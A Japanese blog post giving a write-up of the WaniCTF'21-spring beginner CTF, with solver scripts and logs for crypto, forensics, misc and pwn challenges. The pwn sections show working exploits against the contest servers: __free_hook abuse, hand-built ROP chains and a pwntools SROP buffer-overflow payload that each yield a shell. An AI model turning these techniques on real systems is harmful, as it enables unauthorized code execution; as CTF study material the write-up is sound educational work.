プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

WaniCTF'21-spring write-up

WaniCTF'21-springに参加しました。正解した問題のwrite-up記事です。 問題等はwani-hackase/wanictf21spring-writeupで公開されています。

コンテスト概要

informationページより抜粋:

WaniCTF は大阪大学 CTF サークル Wani Hackase が開催する初心者向けの CTF です。
WaniCTF は Jeopardy-style と呼ばれるクイズ形式の CTF で、それぞれの問題に隠されているフラグという文字列を見つけ出しスコアサーバーに提出することで点数を獲得することができます。
CTF に参加するのが初めてであったり、数回しか参加したことがない方でも楽しめる難易度になっています。また教育的効果を追求するため、ある程度の誘導や必要なツールの情報が記載されています。これらの情報を参考にしつつトライしてみてください。
WaniCTF は大阪大学いちょう祭のオンライン企画として出展しています。

開催時間 (JST)
2021/4/30(金) 10:00 ~ 2021/5/2(日) 20:00

ルール
個人参加形式です。1 人 1 アカウントとなります。

結果

正の得点を取得した353人中、5040ptsで26位でした。33問中25問を解けました。 コンテスト結果はWaniCTF'21-spring Rankingで公開されています。

f:id:Tan90909090:20210503002950p:plain
結果画像

環境

Windows+WSL1(Ubuntu)で取り組みました。WSL1で不都合な点があったので、そろそろWSL2に移行してもいいなあとは思っています。

Windows

PS C:\> [System.Environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      19042  0

他ソフト

  • IDA(Free版) : Version 7.0.19002 Windows x64
  • Wireshark : Version 3.4.3

WSL

$ cat /proc/version
Linux version 4.4.0-19041-Microsoft (Microsoft@Microsoft.com) (gcc version 5.4.0 (GCC) ) #488-Microsoft Mon Sep 01 13:43:00 PST 2020
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.5 LTS
Release:        18.04
Codename:       bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show requests | grep Version
Version: 2.25.1
$ python3.8 -m pip show pwntools | grep Version
Version: 4.3.1
$ python3.8 -m pip show angr | grep Version
Version: 9.0.5739
$ python3.8 -m pip show scapy | grep Version
Version: 2.4.5

解けた問題

[Crypto]Simple conversion[Beginner]

戻し方を忘れました…

配布されたファイルを展開すると、output.txtと、以下のPythonスクリプトが含まれていました:

from const import flag


def bytes_to_integer(x: bytes) -> int:
    x = int.from_bytes(x, byteorder="big")
    return x


print(bytes_to_integer(flag))

逆の演算を施すスクリプトを書きました:

#!/usr/bin/env python3.8

output = 709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
b = int.to_bytes(output, byteorder="big", length=64)
print(b.lstrip(b"\x00"))

これを実行してフラグを得られました: FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}

[Crypto]Easy[Easy]

手始めに

配布されたファイルを展開すると、output.txtと、以下のPythonスクリプトが含まれていました:

with open("flag.txt") as f:
    flag = f.read().strip()


A = REDACTED
B = REDACTED

plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"

assert all(x in plaintext_space for x in flag)


def encrypt(plaintext: str, a: int, b: int) -> str:
    ciphertext = ""
    for x in plaintext:
        if "A" <= x <= "Z":
            x = ord(x) - ord("A")
            x = (a * x + b) % 26
            x = chr(x + ord("A"))
        ciphertext += x

    return ciphertext


if __name__ == "__main__":
    ciphertext = encrypt(flag, a=A, b=B)
    print(ciphertext)

1文字ごとに文字のずらし度合いを変えていく暗号化をしています。出力結果を同様に変換することを全探索すればその中にフラグがありそうだと思ったので以下のスクリプトを書きました:

#!/usr/bin/env python3.8

def decrypt(ciphertext, a, b):
    result = ""
    for x in ciphertext:
        if "A" <= x <= "Z":
            x = ord(x) - ord("A")
            x = (a * x + b) % 26
            x = chr(x + ord("A"))
        result += x
    return result

ciphertext = "HLIM{OCLSAQCZASPYFZASRILLCVMC}"
sx = []
for a in range(26):
    for b in range(26):
        sx.append(decrypt(ciphertext, a, b))

for s in [s for s in sx if s[:4]=="FLAG"]:
    print(s)

これを実行してフラグを得られました: FLAG{WELCOMETOCRYPTOCHALLENGE} 上手いこと一意に定まるんですね。

[Crypto]Can't restore the flag?[Hard]

ちりつもですよ
nc crt.cry.wanictf.org 50000

配布されたファイルを展開すると、以下のserver.pyが含まれていました:

from Crypto.Util.number import bytes_to_long

with open("flag.txt", "rb") as f:
    flag = f.read()
flag = bytes_to_long(flag)

assert flag <= 10 ** 103

upper_bound = 300
while True:
    try:
        mod = int(input("Mod > "))
        if mod > upper_bound:
            print("Don't cheat 🤪")
            continue

        result = flag % mod
        print(result)
    except Exception:
        print("Bye 👋")
        break

中国剰余定理を使う予感がしましたが、よく読むと負の数を与えることができます。実際に与えてみます:

$ nc crt.cry.wanictf.org 50000
Mod > -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
-999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705909
Mod > ^C

激しく非想定解法な予感がしますが、この値をもとに復号するスクリプトを書きました:

#!/usr/bin/env python3.8
from Crypto.Util.number import long_to_bytes

mod = -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
info = -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705909
flag = info - mod
print(long_to_bytes(flag))

これを実行してフラグを得られました: FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

[Forensics]presentation[Beginner]

このままじゃFLAGをプレゼンできない...

配布されたファイルを展開するとpresentation.ppsxが含まれていました。手元にMicrosoft OfficeがないのでLibreOfficeで開くと、自動的にスライドショーが開始されました。FLAG文字列のテキストは存在しているのですが、肝心の部分が黒塗りされている状態でした。 pptx形式はZIP展開可能なので展開し、grep -rn "FLAG"で探すとpresentation/ppt/slides/slide1.xml:2:に見つかりました。そこから文字を拾ってフラグを得られました: FLAG{you_know_how_to_edit_ppsx}

[Forensics]secure document[Easy]

本日の資料は以下を入力して圧縮しました。
the password for today is nani

配布されたファイルを展開すると、パスワード付きZIPのflag_20210428.zipと、以下のpassword-generatorが含まれていました:

::the::
Send, +wani
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd
SendInput, {home}{right 4}_%x%
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni::
Send, ^a^c{Esc}{home}password{:} {end}
return

AutoHotKeyスクリプトかなと察しを付けて、FormatTimeのところはZIP名にある20210428が入るのでしょうと検討をつけました。ここまではスムーズだったのですが、入力内容のnaniwaniと空目してしまい、パスワードが合わない合わないと20分ハマっていました。空目に気付いた後は、ZIPをWan1_20210430_C7F!na!で無事に展開でき、展開結果のflag.jpgに文字が書かれていました: FLAG{Nani!very_strong_password!}

[Forensics]illegal image[Hard]

裏で画像がやり取りされているらしい

配布されたファイルを展開するとpcapファイルが含まれていました。Wiresharkで眺めてみるとICMPのpingのデータ部分でJPEGを送信しているようでした。 以前参加したCTFの問題の他の方のwrite-upで.pcapファイルの処理にはScapyというライブラリが便利らしいことを思い出したので、使ってみることにしました。試行錯誤して以下のスクリプトを書きました:

#!/usr/bin/env python3.8
import scapy.all

with open("out.jpg", "wb") as f:
    packets = scapy.all.rdpcap("illegal_image.pcap")
    for p in packets.filter(lambda p: "ICMP" in p and p["IP"].src == "192.168.0.133"):
        f.write(p["ICMP"].load)

とても短くかけているのですが、ここまでたどり着くのが大変でした。特にペイロード部分の取得はload属性を使うと分かるまでが大変でした。何はともあれこれを実行してJPEG画像を抽出できて、そこにフラグが書かれていました: FLAG{ICMP_Exfiltrate_image}

[Forensics]MixedUSB[Very hard]

USBにパーティションを設定したら、どこにFLAGを保存しているのかわからなくなってしまいました...

配布されたファイルを展開すると、MixedUSB.imgが含まれていました。Very hard難易度ということでこわごわ見ていたんですが、stringsでフラグが見つかってしまいました:

$ strings MixedUSB.img | grep "FLAG{"
FLAG{mixed_file_allocation_table}

そんなわけでフラグが手に入ってしまいました: FLAG{mixed_file_allocation_table}

[Misc]binary[Beginner]

文字も所詮1と0の集合です。
sample.pyを参考に復号器を作ってみてください。

配布されたファイルを展開すると、binary.csvと、以下のsample.pyが含まれていました:

s = "WANI"
bits = []
for i in range(len(s)):
    val = s[i]
    for j in range(8):
        b = (ord(val) >> (7 - j)) & 0x01
        bits.append(b)

print(bits)

s = ""
c = 0
for i in range(len(bits)):
    val = int(bits[i])
    c = (c << 1) | val
    if i % 8 == 7:
        s = s + chr(c)
        c = 0

print(s)

binary.csvを見ると0または1が書かれた行が336行あるファイルだったので、以下のスクリプトを書きました:

#!/usr/bin/env python3.8

with open("binary.csv") as f:
    bits = []
    for line in f:
        bits.append(int(line))

s = ""
c = 0
for i in range(len(bits)):
    val = int(bits[i])
    c = (c << 1) | val
    if i % 8 == 7:
        s = s + chr(c)
        c = 0
print(s)

これを実行してフラグを得られました: FLAG{the_basic_knowledge_of_communication}

[Misc]ASK[Easy]

Amplitude Shift Keying

配布されたファイルを展開すると、ask.csvが含まれており、その形式は前述のbinary問題と同じものに見えました。しかし試行錯誤しているうちに、31bit単位でのみ0/1が切り替わっていることに気付いたので、そこを考慮して以下のスクリプトを書きました

#!/usr/bin/env python3.8

bits = []
with open("ask.csv") as f:
    for (i,x) in enumerate(f):
        if i%31==0:
            bits.append(int(x))

b = bytearray()
c = 0
for (i, x) in enumerate(bits):
    c = (c << 1) | x
    if i%8==7:
        b.append(c)
        c = 0
with open("result2.bin", "wb") as f:
    f.write(b)

これを実行してフラグを含むデータを得られました:

$ ./solve.py
$ strings result2.bin
FLAG{als0-k0own-4s-0n-0ff-key1ng}
FLAG{als0-k0own-4s-0n-0ff-key1ng}
$

[Misc]Manchester[Normal]

Manchester Encoding

配布されたファイルを展開すると、manchester.csvが含まれおり、その形式は前述のbinary問題と同じものに見えました。また問題もask問題と同様に31bit単位でのみ0/1が切り替わっているようでした。 Manchester Encodingについて調べると1bitの入力を"01"または"10"の2bitの出力にする形式と分かりました。試行錯誤しているとデータの先頭の方は"00"があることに気付いたので、それを無視するようにして以下のスクリプトを書きました:

#!/usr/bin/env python3.8

bits = []
with open("manchester.csv") as f:
    for (i, x) in enumerate(f):
        if i%31==0:
            bits.append(int(x))
        else:
            assert(bits[-1] == int(x))

assert(len(bits)%2==0)

result = bytearray()
c = 0
i = 0
bit_count = 0
while i < len(bits):
    # 最初の方は0が連続しているらしい
    if bits[i] != bits[i+1]:
        c = (c << 1) | bits[i]
        bit_count += 1
        if bit_count%8==7:
            result.append(c)
            c = 0
    i += 2
with open("result.bin", "wb") as f:
    f.write(result)

これを実行してフラグを含むデータを得られました:

$ ./solve.py
$ strings result.bin
6V7F
{K#Ks9k
)k{s+
FLAG{avoiding-consective-ones-and-zeros}

[Misc]Automaton Lab.[Normal]

Automaton Lab.で将来予測のお手伝いをしましょう
nc automaton.mis.wanictf.org 50020
reference: https://en.wikipedia.org/wiki/Rule_30

配布されたファイルを展開すると、automaton-lab.pyとサーバー側のコードが含まれていました。全62行なので詳細は省略しますが、以下の内容でした:

  • 質問は3回ある
  • 3回目の質問が、1024bitの数値の世代経過後の状態を求めるもの

またncで接続すると以下のような出力が得られました:

Welcome to Automaton Lab.!
We study about automaton in there, here is the space of "Rule 30"[1] automaton.
We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.
Our interest is what this cute automaton grow up in future, we want your help to expect their growth.
[1]: https://en.wikipedia.org/wiki/Rule_30

For example, now automaton state is "100000100000001" ('1' is alive and '0' is dead) and in next generation they are "010001110000011".
generation      state
0               100000100000001
1               010001110000011
2               011011001000110

We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.
Are you ready?
(press enter key to continue)

OK! Here we go! The first question is warming up.
init = 011001111111011
gen = 7
> 111111111111111
We were disappointed in you.

^C
$

説明文からセル数は15かつ左右端が連結している状態を考えることが分かります。 考察すると、セル数は15かつセルの状態は2種類であるため、全体の状態は215に収まることが分かります。そのため要求世代数を1つ1つシミュレートするのではなく、周期性を利用することで計算を削減できます。これらを利用して以下のスクリプトを書きました:

#!/usr/bin/env python3.8

import pwn
pwn.context.log_level = "DEBUG" # 入出力表示用

cells = 15

def next_generation(bits):
    assert(len(bits)==cells)
    result = []
    for i in range(cells):
        x = 0
        x += bits[i-1] * 100
        x += bits[i] * 10
        x += bits[i+1-cells]
        result.append(int(x in [100, 11, 10, 1]))
    return result
def state_to_bits(num):
    result = []
    for i in range(cells):
        result.append(num%2)
        num //= 10
    return list(reversed(result))
def bits_to_state(bits):
    result = 0
    for b in bits:
        result *= 10
        result += b
    return result

def solve_one(state, gen):
    d = {}
    cur_gen = 0
    bits = state_to_bits(state)
    while cur_gen < gen:
        bits = next_generation(bits)
        cur_gen += 1

        cur_state = bits_to_state(bits)
        if cur_state in d:
            period = cur_gen - d[cur_state]
            if cur_gen + period < gen:
                gen = (gen%period) + period
                print(f"detect period! {period}")
        else:
            d[cur_state] = cur_gen
    return bits_to_state(bits)

def solve(tube):
    tube.sendlineafter("(press enter key to continue)", "") # send newline
    for i in range(3):
        tube.recvuntil("init = ")
        state = int(tube.recvline())
        tube.recvuntil("gen = ")
        gen = int(tube.recvline())
        tube.sendline(str(solve_one(state, gen)).rjust(cells, "0"))
    tube.recvall()

with pwn.remote("automaton.mis.wanictf.org", 50020) as tube:
    solve(tube)

これを実行してフラグを得られました:

$ ./solve.py
[+] Opening connection to automaton.mis.wanictf.org on port 50020: Done
[DEBUG] Received 0x2ee bytes:
    b'Welcome to Automaton Lab.!\n'
    b'We study about automaton in there, here is the space of "Rule 30"[1] automaton.\n'
    b'We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.\n'
    b'Our interest is what this cute automaton grow up in future, we want your help to expect their growth.\n'
    b'[1]: https://en.wikipedia.org/wiki/Rule_30\n'
    b'\n'
    b'For example, now automaton state is "100000100000001" (\'1\' is alive and \'0\' is dead) and in next generation they are "010001110000011".\n'
    b'generation\tstate\n'
    b'0\t\t100000100000001\n'
    b'1\t\t010001110000011\n'
    b'2\t\t011011001000110\n'
    b'\n'
    b'We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.\n'
    b'Are you ready?\n'
    b'(press enter key to continue)'
[DEBUG] Sent 0x1 bytes:
    10 * 0x1
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received 0x53 bytes:
    b'OK! Here we go! The first question is warming up.\n'
    b'init = 011111010000011\n'
    b'gen = 7\n'
    b'> '
[DEBUG] Sent 0x10 bytes:
    b'110000010010010\n'
[DEBUG] Received 0x24 bytes:
    b'Great! The second question is below.'
[DEBUG] Received 0x24 bytes:
    b'\n'
    b'init = 000000001100000\n'
    b'gen = 997\n'
    b'> '
[DEBUG] Sent 0x10 bytes:
    b'011111010111101\n'
[DEBUG] Received 0x6b bytes:
    b'Even if human become extinct, we wanna see the view of prosperity of cell automaton. This is last question.'
[DEBUG] Received 0x156 bytes:
    b'\n'
    b'init = 000000000000001\n'
    b'gen = 148238205915322127816359616869326414306608402080882364646921484996322455511812872429167852931633392921222245916418338637345931215326270228132730667744915890447322507260171940734929060654671606919042691254137904662470869221163729986943535341091141057407399757829743343705260883678355277900128779102453397267341\n'
    b'> '
detect period! 1455
[DEBUG] Sent 0x10 bytes:
    b'100100110010110\n'
[+] Receiving all data: Done (124B)
[DEBUG] Received 0x4c bytes:
    b'Jesus!!! Are you the genius of future sight? We award you the special prize.'
[DEBUG] Received 0x2e bytes:
    b'\n'
    b'FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}\n'
[*] Closed connection to automaton.mis.wanictf.org port 50020
$

[Pwn]01 netcat[Beginner]

nc netcat.pwn.wanictf.org 9001
    netcat (nc)と呼ばれるコマンドを使うだけです。
    つないだら何も出力されなくても知っているコマンドを打ってみましょう。
使用ツール例
    netcat (nc)
gccのセキュリティ保護
    Full RELocation ReadOnly (RELRO)
    Stack Smash Protection (SSP)有効
    No eXecute bit(NX)有効
    Position Independent Executable (PIE)有効

配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。Cファイルを見るとsystem("/bin/sh")を自動的にしてくれるものでした。そういうわけでncで接続するとシェルを取れます:

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}
^C

[Pwn]02 free hook[Easy]

nc free.pwn.wanictf.org 9002
ヒント
    free_hookの仕組みを理解する必要があります。
使用ツール例
    netcat (nc)
gccのセキュリティ保護
    Partial RELocation ReadOnly (RELRO)
    Stack Smash Protection (SSP)無効
    No eXecute bit(NX)有効
    Position Independent Executable (PIE)無効

配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。Cファイルを見ると、初期化処理中に__free_hook = system;と、__free_hookたるものが使われていました。調べてみると、freeを呼び出された時にそのフックが呼び出されるとのことでした。今回の問題ではmalloc結果に任意文字列を書き込めるため、"/bin/sh"を書き込んでやればシェルが取れそうなので試すと無事成功しました:

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

[Pwn]03 rop machine easy[Easy]

* [Pwn]03 rop machine easy[Easy](とけた)
nc rop-easy.pwn.wanictf.org 9003
ヒント
    ropでsystem("/bin/sh")を実行して下さい。
    "/bin/sh"のアドレスは提供されています
    rop machineの使い方->wani-hackase/rop-machine
使用ツール例
    netcat (nc)
gccのセキュリティ保護
    Partial RELocation ReadOnly (RELRO)
    Stack Smash Protection (SSP)有効
    No eXecute bit(NX)有効
    Position Independent Executable (PIE)無効

配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。ROPなのにEasy扱いなのかと驚きながら読んでいると、pop %rdi; retするインラインアセンブラ(=ROPガジェット)を含む関数が見つかりました。全体としては、そのガジェット数や任意数値の追加、system関数を呼び出すガジェットの追加ができるプログラムでした。丁寧さに感激しつつ、ROPできるようガジェットを組み立ててシェルを取りました:

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 9
     rop_arena
+--------------------+
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}

[Pwn]04 rop machine normal[Easy]

ヒント
    ropでexecve("/bin/sh", 0, 0)を実行して下さい。
    "/bin/sh"のアドレスは提供されています
    execveのsyscall番号は0x3bです。
    rop machineの使い方->wani-hackase/rop-machine
使用ツール例
    netcat (nc)
gccのセキュリティ保護
    Partial RELocation ReadOnly (RELRO)
    Stack Smash Protection (SSP)有効
    No eXecute bit(NX)有効
    Position Independent Executable (PIE)無効

配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。今回のソースでは、rdi, rsi, rdx, ras, syscall用のガジェットが用意されていました。x64 ELFのsyscall呼び出し規約を調べると、raxが番号、残りの引数が順番にrdi, rsi, rdxであるとのことでした。これらの情報をもとにガジェットを組み立ててシェルを取れました:

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rax; ret       |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret       |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}

[Pwn]05 rop machine hard[Normal]

nc rop-hard.pwn.wanictf.org 9005
ヒント
    ROPgadgetコマンドの使い方を覚えましょう。
    rop machineの使い方->wani-hackase/rop-machine
使用ツール例
    netcat (nc)
    ROPgadget
gccのセキュリティ保護
    Partial RELocation ReadOnly (RELRO)
    Stack Smash Protection (SSP)有効
    No eXecute bit(NX)有効
    Position Independent Executable (PIE)無効

配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。今回はpushできるのがhex限定であるため、ガジェットのアドレスは自分で調べる必要があります。 最初はヒントに記載されているようにROPgadgetコマンドを使おうとしたのですが、pipとしてインストールしていますがコマンドを見つけられませんでした。次にrp++コマンドを入れようとしましたが、makeでエラーになったので諦めました。仕方がないのでIDAでアドレスを探しました。 ガジェットを見つける段階になって、rax, rdx, rdi, syscallについてはガジェット用の関数がありましたが、rsi用の関数がないことに気づきました。探しても中々見つからなかったのですが、「pop r14; pop r15; ret」箇所のプレフィクスを取り除くことで「pop rsi; pop r15; ret」を生成できることに気づきました。これらを利用してガジェットを組み立て、シェルを取れました:

$ nc rop-hard.pwn.wanictf.org 9005

[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
> 1
hex value?: 0x00000000004012A9
0x00000000004012a9 is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 1
hex value?: 000000000040128F
0x000000000040128f is appended
> 1
hex value?: 0x0000000000404078
0x0000000000404078 is appended
> 1
hex value?: 0x0000000000401611
0x0000000000401611 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x000000000040129C
0x000000000040129c is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x00000000004012B6
0x00000000004012b6 is appended
> 0
     rop_arena
+--------------------+
| 0x00000000004012a9 |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x000000000040128f |
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

nc接続後に手打ちしていたのですが、数回入力間違いをしてしまってやり直すのが大変でした。やはりpwntoolsは正義……。

[Pwn]06 SuperROP[Hard]

nc srop.pwn.wanictf.org 9006
    sigreturnを用いたROPでシェルを実行してください。
    sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
    https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
    https://docs.pwntools.com/en/latest/rop/srop.html

配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。またhow_to_use_pwntools.pyというファイルも丁寧に用意されていました。Cファイルは以下のものでした:

#include <stdio.h>
#include <unistd.h>

void call_syscall() { __asm__("syscall; ret;"); }

void set_rax() { __asm__("mov $0xf, %rax; ret;"); }

int main() {
  char buff[50];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  printf("buff : %p\nCan you get the shell?\n", buff);
  read(0, buff, 0x200);
  return 0;
}

50バイトのバッファに512バイト読み込もうとしているためバッファオーバーフローが発生します。それを利用してROPを行う問題と分かります。今回は"/bin/sh"がないので自分で用意してやる必要があります。rbp分の調整を忘れていてハマったりしましたが、最終的に以下のスクリプトを書きました:

#!/usr/bin/env python3.8

import pwn
pwn.context.update(arch="amd64", os="linux", log_level="DEBUG")

path = "./pwn06"

def solve(tube):
    elf = pwn.ELF(path)
    rop = pwn.ROP(elf)
    addr_syscall = 0x000000000040117E # rop.find_gadget(["syscall", "ret"])では見つけてくれない……
    addr_set_rax = 0x000000000040118C

    tube.recvuntil("buff : ")   # スタック位置は可変なので入力から取る
    addr_buf = int(tube.recvline(), 16)
    print(f"{addr_buf=:X}")

    bin_sh_offset = 500 # 適当に後ろの方
    payload = bytearray()
    payload += b"A" * 0x40        # バッファサイズ分
    payload += b"A" * 8           # 保存されたrbx分

    # ここからROPで実行するコード
    payload += pwn.pack(addr_set_rax)
    payload += pwn.pack(addr_syscall)

    # ここからsigreturn用、rsp調整は無くても通った
    sf = pwn.SigreturnFrame()
    sf.rax = pwn.constants.SYS_execve
    sf.rdi = addr_buf + bin_sh_offset
    sf.rsi = 0
    sf.rdx = 0
    sf.rip = addr_syscall
    print(f"{len(payload)=}")
    payload += bytes(sf)
    print(f"{len(payload)=}") # 248バイト分増える

    # "/bin/sh"の準備
    payload += b"A" * (bin_sh_offset - len(payload))
    payload += b"/bin/sh\x00"
    tube.sendline(payload)
    tube.interactive()

# ローカルやGDBではシェルを取れなかったけどremoteでは取れた、何故だろう→WSLではsigreturnがうまく行かないらしい!
# with pwn.gdb.debug(path) as gdb: solve(gdb)
# with pwn.process(path) as local: solve(local)
with pwn.remote("srop.pwn.wanictf.org", 9006) as remote: solve(remote)

これを実行してシェルを得られました:

$ ./solve.py
[+] Opening connection to srop.pwn.wanictf.org on port 9006: Done
[DEBUG] PLT 0x401064 setbuf
[DEBUG] PLT 0x401074 printf
[DEBUG] PLT 0x401084 read
[*] "/sniped/pwn-06-srop/pwn06"
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 15 cached gadgets for './pwn06'
[DEBUG] Received 0x2d bytes:
    b'buff : 0x7ffebe9b06d0\n'
    b'Can you get the shell?\n'
addr_buf=7FFEBE9B06D0
len(payload)=88
len(payload)=336
[DEBUG] Sent 0x1fd bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  8c 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  7e 11 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │~·@·│····│····│····│
    00000060  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000000c0  c4 08 9b be  fe 7f 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000e0  00 00 00 00  00 00 00 00  3b 00 00 00  00 00 00 00  │····│····│;···│····│
    000000f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000100  7e 11 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │~·@·│····│····│····│
    00000110  33 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │3···│····│····│····│
    00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000150  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    000001f0  41 41 41 41  2f 62 69 6e  2f 73 68 00  0a           │AAAA│/bin│/sh·│·│
    000001fd
[*] Switching to interactive mode
Can you get the shell?
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x18 bytes:
    b'chall\n'
    b'flag.txt\n'
    b'redir.sh\n'
chall
flag.txt
redir.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x26 bytes:
    b'FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}\n'
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
$
[*] Closed connection to srop.pwn.wanictf.org port 9006

なおコメントにも書いていますが、ローカル実行ではシェルを取れませんでした。不思議に思って後で調べたら、WSLではSROPがうまく行かないとの言及が見つかりました(CSAW CTF 2019 Quals - small boi - HackMD)。WSL2では純粋なLinux Kernelを使っているので恐らくそちらではうまく動くと思います。

2021/05/16追記: WSL2にあげてみると、ローカル実行でもシェルを取れました。CTF用途ならWSL2が良さそうですね。

[Reversing]secret[Beginner]

この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。

このバイナリを実行すると secret key を入力するように表示されます。

試しに「abcde」と入力してみると「Incorrect」と言われました。

$ file secret
secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped

$ sudo chmod +x secret

$ ./secret
...
Input secret key : abcde
Incorrect

$ ./secret
...
Input secret key : ??????
Correct! Flag is ??????

このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう!
(secret key とフラグは別の文字列です)
(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)
ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra

